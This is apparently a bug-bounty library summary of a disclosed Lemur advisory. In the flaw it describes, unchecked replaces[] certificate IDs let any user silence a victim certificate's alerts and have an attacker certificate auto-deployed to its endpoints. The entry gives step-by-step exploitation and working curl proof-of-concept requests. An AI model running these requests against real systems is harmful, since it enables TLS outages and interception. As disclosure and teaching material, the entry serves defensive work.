# Lemur: Unchecked `replaces[]` lets any user silence notifications and hijack auto-rotation for arbitrary certificates

Lemur's certificate upload accepts unchecked replaces[] IDs, letting any non-read-only user silence a victim cert's notifications and have their own cert auto-deployed to its endpoints.

- Payout: Research
- Severity: high
- Program: Lemur
- Found by: maperu
- Disclosed: 2026-08-18
- CVE: CVE-2026-71308
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cfh6-pv5c-38jv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cfh6-pv5c-38jv
- Tags: area:web domain:api domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** POST /api/1/certificates/upload and /certificates create/edit API
**Root cause:** AssociatedCertificateSchema resolves replaces[] to Certificate ORM rows via fetch_objects with no CertificatePermission check, and the Certificate.replaces append listener mutates the victim (notify=False) as an ORM side effect.
**Steps:**
1. Authenticate as any non-read-only user and obtain a victim certificate id via `GET /api/1/certificates`.
2. `POST /api/1/certificates/upload` with attacker cert body/privateKey and `"replaces": [{"id": <VICTIM_CERT_ID>}]`.
3. `GET /api/1/certificates/<VICTIM_CERT_ID>` and observe `.notify` false and `.replaced` populated.
4. Wait for the periodic `certificate_rotate` Celery task; `request_rotation(endpoint, endpoint.certificate.replaced[0], ...)` deploys the attacker cert to every endpoint serving the victim.
**How found:** Code review of the certificate create/upload schema: noticed replaces[] resolved by fetch_objects with no per-object authorization, while the revoke endpoint does enforce CertificatePermission; grep confirmed the check never touches the replaces payload, and traced the append listener and Celery rotate task to the deployment sink.
**Exploitation:** Attacker uploads a self-signed cert referencing high-value production cert IDs in replaces[]. The append listener sets victim.notify=False and populates victim.replaced, excluding it from get_all_pending_reissue and silencing expiry alerts. On the next certificate_rotate beat, cli.rotate with commit=True pushes the attacker cert to ELB/CloudFront/ACM/K8s/SFTP endpoints via the deployment plugin, detaching the legitimate cert.
**Escalation:** Fleet-wide TLS DoS equivalent to mass revocation; combined with the sub-CA finding (LEMUR-BUG-07) escalates to TLS interception where internal clients trust the substituted chain.
**Insight:** When a resource has a direct revoke/delete endpoint guarded by an ownership check, look for indirect paths (relationship arrays like replaces[], parent/child links, bulk import) that mutate the same row via ORM event listeners — those side effects fire before any authorization you might add later.

## Proof of concept (copied exactly from the original report)

**curl upload with replaces[] targeting victim cert**

```
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n<ATTACKER_CERT_PEM>\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n<ATTACKER_KEY_PEM>\n-----END PRIVATE KEY-----",
        "replaces": [{"id": <VICTIM_CERT_ID>}]
      }'
```

**curl check victim notify/replaced state**

```
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" | jq '.notify, .replaced'
```

**grep validation command for missing permission check**

```
grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  && grep -n 'CertificatePermission' lemur/certificates/views.py
```

